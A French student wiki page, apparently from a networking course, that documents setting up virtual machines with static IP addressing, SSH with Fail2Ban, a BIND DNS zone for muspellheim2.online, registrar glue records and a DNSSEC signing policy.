Pour que des machines puissent communiquer, elles doivent être sur le '''même réseau'''. Ici, c’est un '''VIF (Virtual Interface)''' qui joue ce rôle : c’est une sorte de '''commutateur virtuel''' (ou switch virtuel).&lt;br /&gt;
&lt;br /&gt;
Un '''commutateur''', c’est ce que vous imaginez peut-être comme une grosse boîte avec plein de câbles et de lumières clignotantes, qu’on trouve dans les salles serveurs.&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, tout ça est '''simulé dans la machine virtuelle''', donc pas de câbles physiques : la communication se fait via la '''carte réseau virtuelle''' attribuée à chaque machine.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface réseau est visible dans le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;. On peut modifier ce fichier pour attribuer une adresse IP fixe à la machine GOW.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 192.168.3.1/24&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 193.48.57.172/27&lt;br /&gt;
	gateway 193.48.57.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MACHINE DE SERVICES ===&lt;br /&gt;
/etc/network/interfaces de la machine SE4.Atreus qui permet de lié les Interfaces de la MV avec ses VIF pour communiquer en IPv6 avec Internet et IPv4 avec la machine mandataire &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 192.168.3.2/24&lt;br /&gt;
	gateway 192.168.3.1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On configure la machine mandataire comme une passerelle (gateway) en IPv4. En IPv6, l’adresse est attribuée automatiquement grâce au bridge SE4.&lt;br /&gt;
&lt;br /&gt;
Une fois que chaque machine peut être pingée par les autres et qu’elles arrivent à envoyer des requêtes vers Internet, on peut passer à l’étape suivante.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Interfacekratos.png|alt=Interfacekratos|Interfacekratos|centré|vignette|470x470px]]&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |[[Fichier:IpaAtreusIp6Ip4.png|vignette|546x546px|ip a de la machine SE4.Atreus|centré]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:PingEntre2VM.png|alt=PingEntre2VM|PingEntre2VM|centré|vignette|986x986px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
On active le SSH avec la ligne &amp;lt;code&amp;gt;PermitRootLogin yes&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt;sur les 3 machines, on peut accéder à la mandataire avec son adresse IPv4 routée, pour les machines de service on utilise l'adresse en IPv6&lt;br /&gt;
&lt;br /&gt;
===== 🛡️ Sécurisation SSH avec Fail2Ban =====&lt;br /&gt;
📄 '''Fichier :''' &amp;lt;code&amp;gt;/etc/fail2ban/jail.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier contient les règles locales de '''Fail2Ban''', un outil qui surveille les logs système et '''bannit temporairement les adresses IP''' en cas de comportement suspect (comme des tentatives de connexion SSH répétées avec un mauvais mot de passe).&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable  = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Paramètre&lt;br /&gt;
!Explication&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;enable = true&amp;lt;/code&amp;gt;&lt;br /&gt;
|Active la surveillance de SSH.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;port = ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|Surveille le port SSH.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;filter = sshd&amp;lt;/code&amp;gt;&lt;br /&gt;
|Utilise le '''filtre prédéfini''' &amp;lt;code&amp;gt;sshd.conf&amp;lt;/code&amp;gt;, qui détecte les échecs de connexion dans les logs.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;maxretry = 3&amp;lt;/code&amp;gt;&lt;br /&gt;
|'''3 tentatives''' ratées autorisées avant bannissement.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;findtime = 300&amp;lt;/code&amp;gt;&lt;br /&gt;
|La fenêtre de détection : '''5 minutes''' pour accumuler ces 3 tentatives.&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;bantime = 600&amp;lt;/code&amp;gt;&lt;br /&gt;
|Durée de bannissement : '''10 minutes''' (600 secondes).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== CONFIGURATION DNS ===&lt;br /&gt;
Rappel : Qu’est-ce qu’un serveur DNS ?&lt;br /&gt;
&lt;br /&gt;
Vu en cours avec Monsieur redon et Monsieur Vantroys, DNS veut dire '''Domain Name System'''. C’est un '''service''' qui fait la conversion entre un '''nom de domaine''' (comme &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;) et une '''adresse IP''' (comme &amp;lt;code&amp;gt;193.48.57.172&amp;lt;/code&amp;gt;), que les machines utilisent pour communiquer. Ce sont les pages jaunes des serveurs et IP d'Internet. On ne connait pas l'adresse IP de tous les sites. On ne connait que les noms. Quand on écrit netflix.com sur Internet, on interroge les serveurs DNS pour qu&amp;quot;il puisse nous rediriger vers l'adresse IP associé au nom &amp;quot;netflix.com&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
==== 🌍 Fichier de zone DNS : &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; ====&lt;br /&gt;
📄 '''Fichier :''' &amp;lt;code&amp;gt;/etc/bind/zones/muspellheim2.online/muspellheim2.zone&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier définit tous les enregistrements DNS pour le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Il est utilisé par le serveur BIND '''maître''' (primary) pour répondre aux requêtes DNS.&lt;br /&gt;
&lt;br /&gt;
===== 🧾 En-tête : SOA (Start Of Authority) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
@ IN SOA ns.muspellheim2.online. admin.muspellheim2.online. (&lt;br /&gt;
           3609     ; Numéro de version&lt;br /&gt;
          21600     ; Rafraîchissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
          86400 )   ; Cache négatif (24h)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 &amp;lt;code&amp;gt;@&amp;lt;/code&amp;gt; : représente le domaine racine (&amp;lt;code&amp;gt;muspellheim2.online.&amp;lt;/code&amp;gt; ici)&lt;br /&gt;
&lt;br /&gt;
🔹 &amp;lt;code&amp;gt;SOA&amp;lt;/code&amp;gt; : Spécifie '''l’autorité principale''' de la zone. Ici :&lt;br /&gt;
&lt;br /&gt;
* Serveur DNS maître : &amp;lt;code&amp;gt;ns.muspellheim2.online.&amp;lt;/code&amp;gt;&lt;br /&gt;
* Contact admin : &amp;lt;code&amp;gt;admin@muspellheim2.online&amp;lt;/code&amp;gt; (le point remplace le &amp;lt;code&amp;gt;@&amp;lt;/code&amp;gt;)&lt;br /&gt;
A chaque modification de ce fichier, il faut incrémenter le numéro de version de +1.&lt;br /&gt;
&lt;br /&gt;
===== 📡 Serveurs DNS (NS) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
@ IN NS ns.muspellheim2.online.&lt;br /&gt;
@ IN NS ns.jotunheim2.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Ces lignes déclarent les serveurs DNS autoritaires pour cette zone :&lt;br /&gt;
&lt;br /&gt;
- ns.muspellheim2.online. (le maître)&lt;br /&gt;
&lt;br /&gt;
- ns.jotunheim2.tech. (un secondaire)&lt;br /&gt;
&lt;br /&gt;
===== 🧭 Enregistrements de type A / AAAA =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
ns         IN A    193.48.57.172&lt;br /&gt;
ns         IN AAAA 2001:660:4401:60a0:216:3eff:fe91:f4e3&lt;br /&gt;
@          IN A    193.48.57.172&lt;br /&gt;
@          IN AAAA 2001:660:4401:60a0:216:3eff:fe91:f4e3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''A''' : Adresse IPv4&lt;br /&gt;
&lt;br /&gt;
🔹 '''AAAA''' : Adresse IPv6&lt;br /&gt;
&lt;br /&gt;
Ces enregistrements associent :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ns.muspellheim2.online&amp;lt;/code&amp;gt; à ses adresses IP (serveur DNS)&lt;br /&gt;
* &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; lui-même à la même machine (le site est hébergé dessus)&lt;br /&gt;
&lt;br /&gt;
===== 🔗 Alias (CNAME) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
www IN CNAME muspellheim2.online.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Les requêtes pour &amp;lt;code&amp;gt;www.muspellheim2.online&amp;lt;/code&amp;gt; seront redirigées vers &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cela évite de dupliquer les enregistrements A/AAAA pour &amp;lt;code&amp;gt;www&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 🔐 DNS Validation via Digicert =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
_gay4mlana6awxk71vd9gjuzdkzfism2.muspellheim2.online. 10800 IN CNAME dcv.digicert.com.&lt;br /&gt;
_gay4mlana6awxk71vd9gjuzdkzfism2.www.muspellheim2.online. 10800 IN CNAME dcv.digicert.com.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Ces lignes servent à '''valider le domaine''' auprès de l’autorité de certification (Digicert) pour obtenir un certificat SSL.&lt;br /&gt;
&lt;br /&gt;
🔹 &amp;lt;code&amp;gt;dcv.digicert.com.&amp;lt;/code&amp;gt; est le serveur que Digicert utilise pour vérifier la possession du domaine (via un CNAME dynamique généré).&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier la syntaxe de notre '''fichier de zone DNS''' avec l’outil &amp;lt;code&amp;gt;named-checkzone&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cet outil nous aide à repérer les erreurs dans l’écriture du fichier, un peu comme '''Microsoft Word souligne les fautes de grammaire ou de syntaxe''' dans un texte.&lt;br /&gt;
&lt;br /&gt;
Par exemple :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~# named-checkzone muspellheim2.online /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
zone muspellheim2.online/IN: loaded serial 3609&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, le message '''&amp;quot;OK&amp;quot;''' signifie que le fichier est bien écrit et ne contient pas d’erreurs de syntaxe.&lt;br /&gt;
&lt;br /&gt;
Juste à noter : &amp;lt;code&amp;gt;named-checkzone&amp;lt;/code&amp;gt; vérifie uniquement la syntaxe et la structure logique du fichier (comme la présence d’un SOA, la validité des enregistrements, etc.), '''mais pas si les adresses IP ou noms existent réellement'''.&lt;br /&gt;
&lt;br /&gt;
Une fois que tout est correctement configuré, '''n’oubliez pas de redémarrer les services &amp;lt;code&amp;gt;named&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
Cela permet à ces services de '''prendre en compte les nouvelles modifications''' que vous avez apportées dans les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Il faut aussi '''attribuer les bons droits d'accès aux fichiers''', pour que &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt; puisse les lire correctement. Sinon, il risque de ne pas fonctionner comme prévu.&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
chown bind:bind /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
chmod 644 /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
&lt;br /&gt;
chown bind:bind /etc/bind/named.conf.local&lt;br /&gt;
chmod 644 /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;chown&amp;lt;/code&amp;gt; permet de '''donner la propriété des fichiers à l’utilisateur et au groupe &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;chmod 644&amp;lt;/code&amp;gt; donne les '''droits de lecture au service &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;''', tout en empêchant d'autres utilisateurs non privilégiés de les modifier.&lt;br /&gt;
&lt;br /&gt;
===== Vérification avec l'outil &amp;quot;dig&amp;quot; =====&lt;br /&gt;
On peut '''vérifier que notre serveur DNS fonctionne correctement''' en utilisant la commande &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est un outil qui envoie une requête DNS pour demander l’adresse IP d’un nom de domaine, et affiche la réponse complète reçue du serveur.&lt;br /&gt;
&lt;br /&gt;
Par exemple, ici on interroge notre propre serveur DNS local (&amp;lt;code&amp;gt;@localhost&amp;lt;/code&amp;gt;) pour vérifier s’il connaît le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~# dig @localhost muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cela signifie que la requête s’est bien déroulée, et qu’il n’y a '''pas d’erreur''' dans le fichier de zone.&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
muspellheim2.online.    200     IN      A       193.48.57.172&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le serveur DNS a bien répondu avec l’adresse IP '''193.48.57.172''', donc '''la zone est bien configurée et active'''.Ce test permet de s'assurer que '''le nom de domaine est bien reconnu et renvoie vers la bonne adresse IP'''.&lt;br /&gt;
&lt;br /&gt;
On peut aussi tester depuis '''une autre machine virtuelle''', pour voir si '''le domaine est connu à l'extérieur''', par exemple par '''le DNS public de Google (&amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;)'''.&lt;br /&gt;
&lt;br /&gt;
Pour cela, on utilise &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; en spécifiant l’IP du serveur DNS qu’on veut interroger :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
root@GOW:~# dig @8.8.8.8 muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
muspellheim2.online.    189     IN      A       193.48.57.172&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Google a répondu avec l’adresse IP '''193.48.57.172''', ce qui prouve que '''notre domaine est maintenant reconnu depuis l’extérieur'''.&lt;br /&gt;
🧠 '''Petit point d’attention''' : Si tu n’as pas volontairement '''enregistré le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; sur Internet''' (via un registrar, ici c'est Gandi), alors :&lt;br /&gt;
&lt;br /&gt;
* soit '''ton environnement de test est spécial''' (ex : en école avec une infra réseau propre et un DNS intermédiaire qui communique avec Google),&lt;br /&gt;
* soit '''le domaine a réellement été enregistré publiquement''', auquel cas tu partages un vrai domaine avec d'autres (et ça peut poser des conflits si tu voulais juste faire des tests en local).&lt;br /&gt;
&lt;br /&gt;
==== REGISTRAR ET PROPAGATION DNS ====&lt;br /&gt;
Pour rendre notre '''serveur DNS opérationnel et accessible depuis Internet''', on se rend sur le site du '''registrar''' (dans notre cas : '''Gandi'''), qui est l’organisme auprès duquel on a acheté notre '''nom de domaine'''.&lt;br /&gt;
&lt;br /&gt;
Dans l’onglet '''&amp;quot;Nameserver&amp;quot;''', on ajoute un '''Glue Record'''.&lt;br /&gt;
&lt;br /&gt;
Un Glue Record sert à '''lier notre nom de domaine à nos propres serveurs DNS''', en indiquant leurs adresses IP :&lt;br /&gt;
&lt;br /&gt;
* l’adresse '''IPv4''' de la '''machine mandataire''' (notre DNS principal),&lt;br /&gt;
* les adresses '''IPv6''' des '''machines de service''', si on veut un fonctionnement complet en IPv6.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on '''remplace les serveurs de noms (Nameservers) par les nôtres''', c’est-à-dire notre propre serveur DNS.&lt;br /&gt;
&lt;br /&gt;
Cela fait de notre serveur '''le référent officiel pour la gestion des noms de domaine''' associés à &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
🧠 Pourquoi on fait tout ça ?&lt;br /&gt;
&lt;br /&gt;
Eh bien, comme on l’a vu avec la commande :&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
dig @8.8.8.8 muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Google a pu répondre car '''notre domaine est désormais public''' !&lt;br /&gt;
&lt;br /&gt;
Si on n’avait pas fait cette configuration chez Gandi, personne sur Internet (hors de notre réseau) n’aurait pu le voir.&lt;br /&gt;
&lt;br /&gt;
🌐 Pour faire simple :&lt;br /&gt;
&lt;br /&gt;
En ajoutant un Glue Record et en configurant nos Nameservers, on annonce notre domaine au monde entier.&lt;br /&gt;
&lt;br /&gt;
Cela permet à n’importe quel ordinateur sur Internet de retrouver l’adresse IP de notre serveur — et donc d’afficher notre site ou d’accéder à nos services.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:NameserverGandi.png|gauche|NameserverGandi Pierre CASIMIRI muspellheim2.online]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:GlueRecordGandi.png|gauche|2305x2305px|GlueRecordGandi Pierre CASIMIRI muspellheim2.online]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== DIFFUSION DE NOTRE SUPERBE SERVEUR AU MONDE ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
🌍 Une fois le Glue Record ajouté… on attend un peu que le monde entier soit au courant !&lt;br /&gt;
&lt;br /&gt;
Une fois qu’on a :&lt;br /&gt;
&lt;br /&gt;
* ajouté les '''Glue Records''',&lt;br /&gt;
* remplacé les '''Nameservers''' dans le registrar (comme Gandi),&lt;br /&gt;
&lt;br /&gt;
eh bien il faut patienter un peu. Pourquoi ? Parce que '''les informations DNS doivent se propager''' à travers le monde. Cette phase peut prendre '''quelques heures à quelques jours''', selon les serveurs.&lt;br /&gt;
&lt;br /&gt;
🛰️ Comment savoir si c’est bien propagé ?&lt;br /&gt;
&lt;br /&gt;
Il existe des sites comme '''DNSChecker.org''' qui permettent de voir si votre nom de domaine est '''bien visible depuis plusieurs endroits de la planète'''.&lt;br /&gt;
&lt;br /&gt;
📌 Exemple : &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sur DNSChecker, vous entrez votre domaine et choisissez le type d'enregistrement que vous voulez vérifier, par exemple :&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Type&lt;br /&gt;
!Ce que ça affiche&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;&lt;br /&gt;
|Adresse IPv4 liée au domaine&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;AAAA&amp;lt;/code&amp;gt;&lt;br /&gt;
|Adresse IPv6&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;NS&amp;lt;/code&amp;gt;&lt;br /&gt;
|Liste des Nameservers en charge du domaine&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;CNAME&amp;lt;/code&amp;gt;&lt;br /&gt;
|Alias d’un domaine vers un autre&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;DNSKEY&amp;lt;/code&amp;gt;&lt;br /&gt;
|Clés publiques DNSSEC (on y reviendra plus tard)&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:DNSChecker1.png|gauche|768x768px|DNSChecker1]]&lt;br /&gt;
![[Fichier:DNSChecker3.png|alt=DNSChecker3|bordure|687x687px]]&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |[[Fichier:DNSChecker5.png|alt=DNSChecker5|655x655px]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:DNSChecker2.png|alt=DNSChecker2|bordure|768x768px]]&lt;br /&gt;
|[[Fichier:DNSChecker4.png|alt=DNSChecker4|701x701px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* ✅ '''Check vert''' : ça veut dire que ce serveur DNS a bien reçu et reconnu ton info.&lt;br /&gt;
* 🟡 '''Check en attente''' : propagation en cours ou serveur lent.&lt;br /&gt;
* ❌ '''Check rouge''' : info non encore propagée à ce serveur ou pas propagée car les certificats ne sont pas acceptés par ses serveurs DNS.&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC sur Atreus ====&lt;br /&gt;
&lt;br /&gt;
===== 🧭 Configuration DNS sur le serveur BIND – &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; =====&lt;br /&gt;
📄 Fichier : &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier contient la déclaration des zones DNS locales pour le serveur BIND.&lt;br /&gt;
&lt;br /&gt;
On y définit ici :&lt;br /&gt;
&lt;br /&gt;
-Une zone primaires (gérées en local)&lt;br /&gt;
&lt;br /&gt;
-Une zone secondaire (copiée depuis un autre serveur)&lt;br /&gt;
&lt;br /&gt;
Et une politique DNSSEC.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;muspellheim2.online&amp;quot; {&lt;br /&gt;
&lt;br /&gt;
 type primary;&lt;br /&gt;
 file &amp;quot;/etc/bind/zones/muspellheim2.online/muspellheim2.zone&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
allow-transfer{2001:660:4401:60a0:216:3eff:fee7:c51b;&lt;br /&gt;
&lt;br /&gt;
              2001:660:4401:60a0:216:3eff:fed0:9ab0;};  // filtrage des secondaires&lt;br /&gt;
&lt;br /&gt;
also-notify{2001:660:4401:60a0:216:3eff:fee7:c51b;}; // pour les secondaires vicieux notify yes; // notification des secondaires &lt;br /&gt;
key-directory &amp;quot;/etc/bind/keys&amp;quot;; &lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot;; &lt;br /&gt;
inline-signing yes; };&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;jotunheim2.tech&amp;quot;{&lt;br /&gt;
&lt;br /&gt;
       type slave;&lt;br /&gt;
       file &amp;quot;/etc/bind/jotunheim2.tech&amp;quot;;&lt;br /&gt;
       primaries{2001:660:4401:60a0:216:3eff:fed0:9ab0;};&lt;br /&gt;
&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
&lt;br /&gt;
 keys {&lt;br /&gt;
   ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
 };&lt;br /&gt;
 nsec3param;&lt;br /&gt;
&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 '''type primary''' : Ce serveur est '''l'autorité principale''' pour la zone.&lt;br /&gt;
&lt;br /&gt;
🔹 '''file''' : Chemin du fichier de zone contenant tous les enregistrements DNS (&amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;AAAA&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;NS&amp;lt;/code&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
🔹 '''allow-transfer''' : Liste des serveurs secondaires '''autorisés à faire un transfert de zone''' (AXFR). Cela sécurise l’accès aux données DNS.&lt;br /&gt;
&lt;br /&gt;
🔹 '''also-notify''' : Force l’envoi de notifications DNS vers certains secondaires, même s’ils ne sont pas configurés comme secondaires officiels.&lt;br /&gt;
&lt;br /&gt;
🔹 '''notify yes''' : Active les notifications automatiques des serveurs secondaires lorsqu’une mise à jour de la zone est faite.&lt;br /&gt;
&lt;br /&gt;
🔹 '''dnssec-policy &amp;quot;dnspol&amp;quot;''' : Active '''DNSSEC''' avec une politique personnalisée.&lt;br /&gt;
&lt;br /&gt;
🔹 '''inline-signing yes''' : Active la '''signature automatique''' de la zone par BIND.&lt;br /&gt;
&lt;br /&gt;
====== Zone secondaire : &amp;lt;code&amp;gt;jotunheim2.tech&amp;lt;/code&amp;gt; ======&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;jotunheim2.tech&amp;quot; {&lt;br /&gt;
  type slave;&lt;br /&gt;
  file &amp;quot;/etc/bind/jotunheim2.tech&amp;quot;;&lt;br /&gt;
  primaries { 2001:660:4401:60a0:216:3eff:fed0:9ab0; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''type slave''' : Ce serveur récupère les données de zone depuis un '''serveur primaire distant'''.&lt;br /&gt;
&lt;br /&gt;
🔹 '''primaries { ... }''' : Adresse du serveur maître à interroger pour obtenir la zone.&lt;br /&gt;
&lt;br /&gt;
🔹 '''file''' : Emplacement local où la zone est stockée après transfert.&lt;br /&gt;
&lt;br /&gt;
====== 🔐 Politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt; ======&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
  keys {&lt;br /&gt;
    ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
  };&lt;br /&gt;
  nsec3param;&lt;br /&gt;
};&lt;br /&gt;
